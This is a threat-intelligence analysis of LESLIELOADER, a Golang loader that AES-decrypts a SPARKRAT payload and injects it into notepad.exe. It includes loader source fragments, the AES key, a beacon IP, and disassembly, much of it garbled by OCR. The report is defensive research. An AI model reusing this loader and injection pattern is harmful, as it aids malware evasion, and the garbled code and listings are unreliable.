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Key Takeaways

e Kiroll has observed a new loader for SPARKRAT malware used in ongoing campaigns.

o While SPARKRAT development has officially ceased, unofficially it has continued to be modified by
threat actors as needed.

¢ One of these new changes is a previously undocumented loader, identified by the AES key
“LeslieCheungKwok”.

Summary

Kroll observed the use of SPARKRAT in conjunction with a previously undocumented loader written in Golang.
The loader assists in the initial infection and deployment of the malicious payload, enabling SPARKRAT to
execute on a system. This process allows the payload to reach the target system undetected and unquarantined.
The loader achieves its goal by decoding and decrypting a secondary payload binary, then injecting it into a
notepad.exe instance. This injection allows the malware to blend with legitimate system activity as it shares the
memory space of a legitimate application. Despite detection tools’ ability to mitigate process injections, they

remain a common evasion tactic.

GitHub developer XZB-1248 wrote and released SPARKRAT, a Golang binary compiled for multiple platforms,
as an open-source, feature-rich remote admin tool on GitHub on March 18, 2022. Even though the developer
abandoned the project in February 2023, intrusion investigations continue to discover modified versions of
SPARKRAT. The “DRAGONSPARK?” campaign, notorious for its attacks against organizations in East Asia,
frequently uses this malware. SPARKRAT interprets its embedded Golang source code at runtime, which

complicates analysis and static detections.

A source code repository very similar to LESLIELOADER has been identified alongside with instructions on how
to utilize the loader for any payload necessary, originally timestamped June 7, 2022. Steps include generating a
shellcode payload, AES encrypting the payload, and generating the executable. Additionally, the author posted
proofs of running the samples against various antivirus and sandbox tools. However, there are some key
differences from LESLIELOADER. Unlike the samples observed by Kroll, this loader does not beacon out a
network connection. Additionally, this loader does not use process injection for code execution or a secondary file

for payload.
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func DecrptogAES(src, key []byte) []byte {
block, err := aes.NewCipher(key)
if err != nil {
fmt.Println(nil)
return nil
¥
blockMode := cipher.NewCBCDecrypter(block, key)
blockMode.CryptBlocks(src, src)
src = UnPaddingTextl(src)

return src

func main() {

str := "payload"
key := []byte("LeslieCheungKwok")
base_byte, _ := base64.StdEncoding.DecodeString(str)

build(string(DecrptogAES(base_byte, key)))

Figure 1: Similar Code Repository

Later forks of this repository show modified versions of the initial loader, which begin to implement Base64

decoding. Continued modification of this original source code likely resulted in the version covered within this
article.
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func main() {

//payloadiFin

str := "baseb64-payload"”

/ IEIRRE L6

[Jbyte("LeslieCheungKwok")

src := EncyptogAES([]byte(str), key)
J/fmt.Println(src)

base64Str := baseb4.StdEncoding.EncodeToString(src)

fot. Println( "R EREHEN ", base64Str)

key :

Figure 2: Forked Repository Showing Addition of Base64 Decoding Stage

Kroll has identified and triaged additional LESLIELOADER samples and has observed them to contain Cobalt
Strike configurations as well as other payloads, so this loader is not limited to SPARKRAT.

First Loader Stage

The loader begins with two files, Ntmssvc.dll and RemovableStorage.dll. Upon execution of Ntmssvc.dll with the
/runcode flag, RemovableStorage.dll is read from C:\\Windows\System32\. Ntmssvc.dll contains the loader

functionality, and RemovableStorage.dll functions as the payload.

decrypt Removable Storage XBEF[2]: 6e327525(3),
fcn.Spark_SvchostDLL_cmd.RunCode fcn.Spark SvchostDLL_cmd.Run:éesl...

LER Rl2=>local_10, (RSP + -0x10]

cMp Rlz,qword ptr [R14 + 0xl10]

JBE LAB 6e32751f

s5UB RSP, 0x50

MOV gword ptr [RSP + local_8],REP

LER RBP=>local_8, [RSF + 0x23]

LER RRX, [s_C:\Windows\System32\RemovableSto_ 6€e3f85

MOV EBX, 0x28

CALL fcn.os.ReadFile
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Figure 3: RemovableStorage.dll File Read into Memory

RemovableStorage.dll is not a true PE file and does not contain the structure needed by the Windows PE loader to
run independently. Instead, it serves as a payload data file that has undergone both Base64 encoding and AES 192-

bit encryption.

Ntmssvc.dll initially attempts to beacon out to 209.141.50[.]215:443, however, this execution can be skipped in

favor of overwriting the instruction pointer to the storage decoding function.

MOV param 6,param 3
MOV param 7,param 9
CALL fcn.net_http__ Transport_.dial https://208.141.50.215:443

Figure 4: HTTP Beacon Attempt

cmp rsp,qword ptr ds:([ri4+10] change RIP to 6e327420
jbe ntmssvcC.6E333A4F

sub rsp,18

mov qword ptr ss:frsp+10§,rb
lea rbp,qword ptr ss:frsp+10
mov qword ptr ss:Qrsp+20§,rax
mov ecx,dword ptr ds:[rax)
mov rbx,qword ptr ds:[rax+8] (rax+8]:"MzZt{"
mov eax,ecx

€all ntmssvc.6E333760

mov rcx,qword ptr ss:frsp+20§
mov qword ptr ds:[rcx+10],rax
call ntmssvc. 6EOCBDOO

moVv rbox,rax

lea rax,qword ptr ds: [6E390900]
nop

€all ntmssvc. 6E0C5900

mov rbp,qword ptr ss:frsp+10j§
add rsp,18

ret

Figure 5: Jumping to the Loader Function

Stepping through the storage decoding function, the last 32 bytes of RemovableStorage.dll are Base64 decoded
and loaded into the RDI register, with LeslieCheungKwok loaded into the RCX register. The system then Base64
decodes RemovableStorage.dll and uses LeslieCheungKwok as the AES key to decrypt the resulting payload of
data, with the 32 bytes from the end of RemovableStorage.dll serving as the I'V. The resulting payload contains
additional Base64 encoded data.
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Tea riz,qword ptr ss:!rsp-.‘l.o! [rsp-10]:&"¢R\x03"

cmp ri2,qword ptr ds:[ri4+10

jb: ntmssSve. 6E32751F runtime.morestack, then back to runcode
sub rsp,%0

mav quord ptr ss: lrsp¢ss|.rb
rbp,qword ptr ss.!rsp*s
rax,qword ptr ds: [6E3FA942]
ntmssvec. 6E1838A0

ebx,28
test rdi,rdi
j& ntmssvc.6E327466
mov ebx,0
mov eax,0
j& ntmssvC.6E32747C
XOr eax,eax
xor ebx,ebx
rbop,qword ptr ss:|frsp+38)
Sp+3

rsp, 90

qword ptr 55:

qgword ptr ss:frsp+”
rax,qword ptr ds: [6E 91340]
ntmssve. GEOCEG40

qgword ptr ss:frsp+soj,rax
rex, 6843656967365 4C
gword ptr ds:[rax],rcx
rcx,6B6F774B676E7S6S
qword ptr ds:[rax+8],rcx
rbx,qword ptr ss:Irspvr

rcx;quord ptr ss:@rsp+3
rax,qword ptr ss:frsp+s
ntmssvec. 6EL1104C0
rcx,quord ptr ds: [6ESDC150]
rdx,rax

rax,rcx

rsi,rbx

rbx,rdx

rex,rsi

&mwc.sluzu

mov rdi,qword ptr ss

mov esi, 10

mov rg,rsi

EaI ntmssvc.6E3272C0

mov rcx,rbx

mov rbx,rax

1ea rax,qword ptr ss:frsp+38)
ntmssSve. 6E1104C0
ntmssvc. 6E326180

mov rbp,qword ptr ss:[frsp+8s]

add rsp,90

ret

no

.rbx

AL B L

-

ge2888s

ntmssvc. 6E123BED
mp Ntmssve.6E327420
nt3
int3

[rspfssi\:a.' B\ x03"

rsp+88):&4" R\x03"

000000006E3FA942: "C:\\Windows\\System32\\RemovableStorage.dll
28: ("

Iv loaded from rear 32 bytes of removablestorage.dll

[rsp+88]:&" R\x03"

[rsp+78]) : “uN/CKkFH1TuMv,/hal ] tMNMR 7 Y2 99GXNBKOPVEAMY /ZMegoHNMNA L

[rsp+80] : "Les11eCheungkwok™
AES Key Loaded into RCX

[rsp+78] : "uN/CKFH1 TuMv /a0l tTMNMR 7Y 2 90GXNBKOPVEAMY /ZMEeQQHNMNA L

rdx: "uN/CKkFH1 TuMv,/ha0 ] tTMNMR 7Y 299GXNBKOPVEAMY /ZMeggHNMNAJELY /¢

rbx: "UN/CKFH] TuMy/ha0] TMNMR 7Y 2 99GX NBKOPVEAMY /ZMeggHNMNAIELY /¢
rbx: "uN/CkFH1TuMv/haDl TMNMR 7Y29gGXNBKOPVEAMY /ZMeggHNMNAIELY /¢

:Irspf—sa [rsp+80] : "Les11eCheungKwok™

ré: “uN/CKkFH1 TuMv,/ha0 1 tMNMR7Y2 9gGXNBKOPVEAMY /ZMeggHNMNAIELY /8¢

Decrypt AES
Follow RAX in memory dump for AES decrypted out

put
rbx: "uN/CkFH1 TuMy,/ha0l tMNMR 7Y 2 9gGXNEBKOPVEAMY /ZMeggHNMNAJELY /£

Loader for decrypted output
[rsp+88]:&™ R\x03"

Figure 6: AES Key and IV are Loaded into Memory

Second Loader Stage

Stepping into the loader for this decrypted and decoded output, we continue to see Base64 decoding occur to

portions of our file.

€&l ntmssvc.6E110660

mov rdi,qword ptr ss.|rsp+3sl

mov rsi,rax

mov ra,rbx

mov ro,rcx

mov rax,qword ptr ss:l

mov rbx,qword ptr ss:
rcx,rdi

rsp+7
rsp+é

runtime.stringtobyteslice

rsi:"6ICDgWCAQ4MATOrZYHbr BOw4oswvwl

_m:lssvc 6€212500  |b64 decode

Figure 7: Further Base64 Decoding

Inspecting this, we see snippets of what appears to be shellcode using CyberChef.
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Recipe Bl F inpn mes: 2 + O W=
oo © n  SICOPCAGHALONTVIRrBlwtosil LSCREbOUD] UMY IQAZDACAAMAA LML EFSQNTRSYT IO raptuc)
Alphabet .
A-Za-20-94f= = [ remove non-alphabet chars [ Strict mode
To Hexdump & n
Waath
16 O upper case hex  [Jinclude final length [ UNIX format
Disassembile xB5. & n
Bt mode Compatbeity Coce Segrment (5 Otfget IR
64 Full x86 architec... 15 a
u Show instruction hex B show instruction position
- 22144 =1 Tr M B5TEE a4 LF
Output B0O®m:a
SOMDMISMINNNNN0 BO0D ADD BYTE PTR [RAX],ALn
COMSAISMINNINND 800D 4DO BYTE PTR [RAX],ALcw
CONMAIOMDBONNIS E280318249 CALL G000088-FFTCTCTT 0
COBIGNIOINT BRSISIONILEADS ADD BYTE PTR [REX-156BFF7D],D9:
] Wt
CROMOMOMDOM0AL1 TEER JBE SOROLDAROMROMD- 2 n
CONRENeMRRMNRLI &7 HH

Figure 8: CyberChef Recipe and Output

To continue observing the loader’s behavior to the memory pages containing these payloads, we set hardware
breakpoints for memory access to them. Ultimately, we can observe the final payload for process injection
dynamically calculated to have the size of 83DAS50 in registers RCX and RDX.

ntlnssvc 65212350 base64 decode stri

mov qword ptr sei rsp+5 ,rbx
nop
lea rax,qword ptr ds:[6E3C5140] rax:"eeff"

Figure 9: Preparing for process injection.

: rdx 0000000000S3DASO

: r8 0000000000AFCDCO

: r9 0000000000AFE000

: [rsp+28] 0000000003400290

Figure 10: Final Payload Size in RAX and RDX

Process injection to notepad.exe begins with a matching payload size in register r8 when memory is being

allocated.
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Notepad.exe is launched as a suspended process, however, there are additional artifacts of note within the loader
indicating other processes such as calc.exe and cmd.exe. While they do not appear to be used in this sample for

injection, the analysis of the use of these processes is out of scope.

Jea ru.gword ptr ds:[6E3F5402) 000000006E3F5402: "C: \\Windows\\System32\\calc. exeCana
mov qword ptr ds:[6E368180) ,rax 000000006E368180: &"C: \\windows\\System32\\notepad. exe
{I\p NtMSSvC. 6E32643F
ea rdi,qword ptr ds:[6E368180 000000006E368180:&"C:\\Windows\\System32'\\notepad. exe
lea rax,qword ptr ds:[6E3F5402 000000006E3F5402: "C:\\Windows\,\System32\\calc. exeCanai
€all ntmssvc.GEL125E40
mov ebx, 1C
ntmssvc. GE3260ED

test al,al

jne <ntmssvc.get pointer for notepad.ex
mov gqword ptr ds:Fzsmas +1B

cmp dword ptr ds:[6E635600),0

nop

ne NtmMsSsSvC.BE326472

ea rax,qword ptr ds:[6E3F4B21] 000000006E3F4B21: "C: \\Windows'\System32\\cmd. exeCertE
mov qword ptr ds: [6E368180],rax 000000006E368180:&"C: \\Windows\\System32\\notepad. exe
mp NtMSSVC.6E326485
ea rdi,qword ptr ds:[6E368180 000000006E368180: &4 C: \\Windows\\System32'\\notepad. exet
lea rax,qword ptr ds:[6E3F4B21 000000006E3F4B21: "C: \\Windows\,\System32\\cmd. exeCertEl
€all ntmssvc.6E125E40

mov ebx,1B

€all ntmssvc. 6E3260E0

test al,al

jne <ntmssvc.get pointer for notepad.ex
mov qword ptr ds:Esesmaa s 1F

cmp dword ptr ds:[6EE35600),0
né ntmssvc.GE326487
ea rcx,qword ptr ds:[GE3FED68] 000000006E3FEDES: "C: \\Windows\\System32\\svchost. exeC|
mov gword ptr ds:[BE368180],rcx 000000006E368180:&"C: \\Windows\\System32\\notepad. exe:
mp <ntmssvc.get pointer for notepad.ex
ea rdi,qword ptr ds:[6E368180 000000006E368180: &"C: \\Windows\\System32\\notepad. exe:
lea rcx,qword ptr ds: [6E3FED6S 000000006E3FEDES: "C: \\Windows\ \System32\\svchost. exeC|
a 128

JImSSVC.

Figure 11: Acquiring Pointer to notepad.exe

Once notepad.exe is created as a suspended process, Ntmssvc.dll overwrites the process memory for notepad.exe

to manipulate the entry point. Prior to overwriting the entry point, notepad.exe proceeds as follows:

EH‘II notepad. 7FF6B52D63A4

add rsp,28

gmp notepad. 7FF6B52D5880
nts3

int3

int3

int3

Figure 12: Original Entry Point

Once the notepad.exe entry point has been overwritten, the memory address of our SPARKRAT payload is loaded

into RAX and jumped to, beginning execution of the malware.

jmp rax
sub cl,ch
outsb
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Figure 13: Modified entry point

This now allows for the injected payload to be executed as notepad.exe.

Source: https://www.kroll.com/en/insights/publications/cyber/leslieloader-undocumented-loader-observed
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